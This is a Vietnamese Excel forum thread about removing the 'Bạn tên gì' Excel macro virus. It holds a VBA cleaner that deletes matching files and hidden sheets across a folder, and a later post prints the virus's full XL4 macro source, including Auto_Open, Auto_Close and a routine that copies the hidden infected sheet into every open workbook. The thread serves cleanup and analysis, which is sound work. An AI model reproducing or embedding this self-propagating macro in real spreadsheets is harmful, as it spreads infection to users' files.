Cách diệt Virus " Bạn tên gì " !

Liên hệ QC

ngochoan2006

Thành viên chính thức
Tham gia
26/9/07
Bài viết
60
Được thích
1
Đặc điểm virus macro
Chứa trong các file Excel *.xls
Là một đoạn macro viết trên MacroSheet 4.0
Tự động lưu thêm một bản sao có tiền tố là "ban ten gi" và ngày tháng hiện tại trong hệ thống
Tự động lây nhiễm qua các file Excel khác khi cùng được mở ra
Không làm mất và ảnh hưởng tới dữ liệu nhưng làm tăng kích thước của file rất nhiều -> file lớn, thao tác chậm
Làm đầy bộ nhớ bằng những file "ban ten gi"
Đây là mã nguồn đoạn mở file và kiểm tra xem có dính không !
Mã:
Sub Virus_kill()
On Error Resume Next
crnt = ActiveWorkbook.Name
'* Dong cac file .xls
        For ii = 1 To Workbooks.Count
            If Not Workbooks.Item(ii).Name = crnt Then
                Workbooks.Item(ii).Close False
            End If
        Next ii
'1. Xoa nhung file "Luungay"
    ttt = Range("b20").Value
    Directory = ttt
    r = 23
    Range("b22:C65000").ClearContents
    Cells(r, 2) = "Virus File"
    Cells(r, 3) = "Status"
    Cells(r - 1, 3) = "virus found"
    Range("B23:C23").Font.Bold = True
    r = r + 1
    With Application.FileSearch
        .NewSearch
        .LookIn = Directory
        .Filename = "*ban ten gi*"
        .SearchSubFolders = True
        .Execute
        For i = 1 To .FoundFiles.Count
        Cells(r, 2) = .FoundFiles(i)
        Cells(r, 3) = "File deleted"
        Kill (.FoundFiles(i))
        Ln = Ln + 1
        Workbooks(crnt).Sheets("Killer").Range("b22").Value = Ln
        r = r + 1
        Next i
    End With
    'End
'2. Tim nhung file co sheet virus -> xoa sheet virus
    With Application.FileSearch
            .NewSearch
            .LookIn = Directory
            .Filename = "*.xls"
            .SearchSubFolders = True
            .Execute
        For ij = 1 To .FoundFiles.Count
            With Application
                .Calculation = xlManual
                .MaxChange = 0.001
                .CalculateBeforeSave = False
            End With
            'Kiem tra truoc khi mo
            Thoi_gian = Range("d20").Value
            If FileDateTime(.FoundFiles(ij)) < Thoi_gian Then GoTo Bo_qua
            'Mo file
            't = .FoundFiles(i)
            'MsgBox t
            Workbooks.Open .FoundFiles(ij), False
            atw = ActiveWorkbook.Name
            Application.DisplayAlerts = False
            'Tim sheet virus
            For n = 1 To ActiveWorkbook.Sheets.Count
                tt = Empty
                If Sheets(n).Name Like "*~*" Then
                    Ln = Ln + 1
                    Workbooks(atw).Sheets(n).Visible = True
                    Workbooks(atw).Sheets(n).Delete
                    Workbooks(crnt).Sheets("Killer").Range("b22").Value = Ln
                    Workbooks(crnt).Sheets("Killer").Cells(r, 2) = .FoundFiles(ij)
                    Workbooks(crnt).Sheets("Killer").Cells(r, 3) = "Virus deleted"
                    r = r + 1
                    Workbooks(atw).Close True
                    tt = 1
                End If
            Next n
                If Not atw = crnt And tt = Empty Then
                    Workbooks(atw).Close False
                End If
Bo_qua:
        Next ij
    End With
'Ket thuc
End Sub

Nhưng hơi bất tiện ! Bác nào có cách diệt con này không chỉ giúp anh em với !
 
Bạn có file nào bị nhiểm xin gữi lên đây xem thử với!
ANH TUẤN
 
Đây là đường Link file có chứa virus !
Nhân tiện các bác cho em hỏi luôn .
Con này có lúc em Unhide được nhưng có lúc lại không ?
Các bác có thể hướng dẫn các đọc code con này cho em con này được không ? ( Nó viết mã trên Work sheet )
Và cách diệt con này nhé .
E cảm ơn nhiều !
 
Con này có gì ghê gớm đâu bạn... Lại cũng là macro XL4... Unhide Sheet ẩn và xóa toàn bộ name đi là xong... chả cần phần mềm hay code gì cả... Diệt nó mất 5 phút... dung lượng chỉ còn 60K
File đây... sạch sẽ nhé!
 
Lần chỉnh sửa cuối:
Bác hướng dẫn em cách diệt nó được không ?
Dùng cái gì để diệt ?
Unhide sheet bằng cách nào ?
Mà cơ chế hoạt động của con này này file nào đang mở nó sẽ lây luôn !
Nếu tất cả các file của mình mà bị thì phải xóa từng file à ?
Đoạn code trên em post lên đó là scan các files *.xls có trong ổ đĩa và kiểm tra xem có bị dính không ? nếu dính thì xóa sheet ~ đi .
Bác hướng dẫn anh em nhé
 
Em đưa code trong Work sheet lên đây để mọi người check nhé :
Đoạn : Auto_Open
=ERROR(FALSE,$E$3) =ECHO(FALSE) =SET.VALUE($G$2,GET.DOCUMENT(88)) =WORKBOOK.HIDE($G$1,FALSE) =SAVE.COPY.AS("ban ten gi") =ON.SHEET("Sheet3","Auto_Close")


=RETURN() =RETURN() đoạn Auto_Close :
*** Dong lai *** =ERROR(FALSE,$E$3) =WORKBOOK.HIDE($G$1,FALSE) =RUN($E$2) =WORKBOOK.HIDE($G$1,TRUE)



=RETURN() =RETURN() Đoạn mã để Copy nó lây sang các file đang mở :
*** Doan macro sao chep *** =ERROR(FALSE,$E$3) =FOR("_Count",1,COLUMNS(DOCUMENTS())) =SET.VALUE($F$1,FALSE) =SET.VALUE($F$2,"") =SET.VALUE($F$3,"")
BookName=INDEX(DOCUMENTS(),_Count) =SET.VALUE($F$2,BookName) =FOR("__Count",1,COLUMNS(GET.WORKBOOK(1,BookName))) SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count) =IF(SheetName="["&BookName & "]" &$G$1) =SET.VALUE($F$1,TRUE) =END.IF() =NEXT()
=IF($F$1=FALSE) =WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName) =WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE) =END.IF() =NEXT() =RETURN() CÒn có 2 cột có thêm dữ liệu để đọc :
TRUE Copy of Bang phan bo Utility hang thang.xls



[MacroVirus.xls]~ !$E$26 Và cột này nữa :
~ ban ten gi.xls


Đây là toàn bộ code của nó.
Files có dung lượng lớn vì nó chứa quá nhiều Name !
Nhân tiện cho e hỏi các bác là để xóa 1 phát hết tất cả các name thì làm ntn ? vì em phải xóa từng cái 1 lâu quá đi mất !
 
Chỉnh sửa lần cuối bởi điều hành viên:
Bạn thử với phần mềm của TuanVNUNI, tôi nghĩ dc đấy... Còn ko thì mở file trên Excel2007... Unhide và xóa dc name tất tần tận.. 5phút là xong...
File này mà mở trên Excel từ 2003 trở xuống thì khó mà Unhide dc
 
Em test bằng Ex2003, khi open file nếu enable macro thì Unhide được, nếu disable macro thì ko unhide được...do ảnh hưởng của code chăng?
 
Tôi chưa Enable macro thử... nhưng nếu làm thế thì.. nguy hiểm quá... Nếu ko có kinh nghiệm, có lây vào Book1 của XLSTART hồi nào cũng ko biết
 
Thêm điều này nữa bác :
Trong Excel 2007 thì phần Define name nó ở chỗ nào ý nhì :D
Em tìm mãi mà không thấy !
 
Bạn click phải trên Toolbars, chọn Custom Quick Access Toolbar... Trong mục Choose Command From, bạn chọn All... Tất cả các công cụ đều nằm ở đây... thích cái nào thì bấm vào nó và Click Add... Đóng cửa sổ này lại sẽ nhìn thấy biểu tượng công cụ vừa Add nằm ngay góc trên bên trái
 
Ok em đã làm như thế rùi nhưng tìm mỏi mắt chả thấy phần Insert name ở đâu cả ?
Trong mục Choose commands from thì chọn vào mục nào hả bác ?
 
Ối trời... sao lại ko có... Ko có sao tôi làm dc.. hic... Nếu ko có chử "Insert..." thì bạn tìm chử khác... Chẳng hạn là chử "Define name"... Thử xem
(Mục Choose Command From chọn mục All Command)
 
Ok em đã làm như thế rùi nhưng tìm mỏi mắt chả thấy phần Insert name ở đâu cả ?
Trong mục Choose commands from thì chọn vào mục nào hả bác ?
 
À em đã tìm được rồi phải chọn All Commands sau đó chọn mục Name Manager là ok.
 
Bạn gửi Anh Nguyễn Tử Quảng đi cho chắc ăn, mỗi người một nghề mà, nếu là virus nội mới thì các vị đó cập nhập vào phiên bản mới ta dùng cho chắc ăn. Kiểu lây đó cũng gần giống với virus Keygen.sic tạo ra các file yyyy.xls mở liên tục mà NAV đã quét được.
 
Trong 4rum mình có ai có thể phân tích cho anh em hiểu được cách hoạt động của con này không nhỉ ?
Mình đọc nhưng cũng không hiểu lắm chỉ biết nó chạy qua 2 cái là :
Auto_Open và Auto_Close !
Các câu lệnh của auto_open và close mình không hiểu là tại sao nó lại chạy được ?
Có ai biết không ?
 
Auto_Open và Auto_Close mặc định nó thế mà bạn... Ta đâu cần viết gì... Tự nhiên Office nó đã có vậy đấy.. chỉ cần áp dụng
 
không !
Ý em muốn hỏi là các câu lệnh cơ !
Trong mục Auto_Open nhé :
=ERROR(FALSE,$E$3) =ECHO(FALSE) =SET.VALUE($G$2,GET.DOCUMENT(88)) =WORKBOOK.HIDE($G$1,FALSE) =SAVE.COPY.AS("ban ten gi") =ON.SHEET("Sheet3","Auto_Close") =RETURN() =RETURN() Thì nó hoạt động như thế nào ?

Câu lệnh Auto_Close :
=ERROR(FALSE,$E$3) =WORKBOOK.HIDE($G$1,FALSE) =RUN($E$2) =WORKBOOK.HIDE($G$1,TRUE) =RETURN() =RETURN()
Tiếp đến là đoạn mã Copy :
=ERROR(FALSE,$E$3) =FOR("_Count",1,COLUMNS(DOCUMENTS())) =SET.VALUE($F$1,FALSE) =SET.VALUE($F$2,"") =SET.VALUE($F$3,"")
BookName=INDEX(DOCUMENTS(),_Count) =SET.VALUE($F$2,BookName) =FOR("__Count",1,COLUMNS(GET.WORKBOOK(1,BookName))) SheetName=INDEX(GET.WORKBOOK(1,BookName),__Count) =IF(SheetName="["&BookName & "]" &$G$1) =SET.VALUE($F$1,TRUE) =END.IF() =NEXT()
=IF($F$1=FALSE) =WORKBOOK.COPY("["&$G$2&"]" & $G$1,BookName) =WORKBOOK.HIDE("["&BookName & "]" &$G$1,TRUE) =END.IF() =NEXT() =RETURN()
Đấy ý mình là có ai có thể giải thích các câu lệnh này được không ?
Mà thêm nữa là tại sao lại có thể đánh được các lệnh này trong Worksheet nhỉ ? ( thấy nó có dầu " = '" đằng trước mà )
 
Web KT
Back
Top Bottom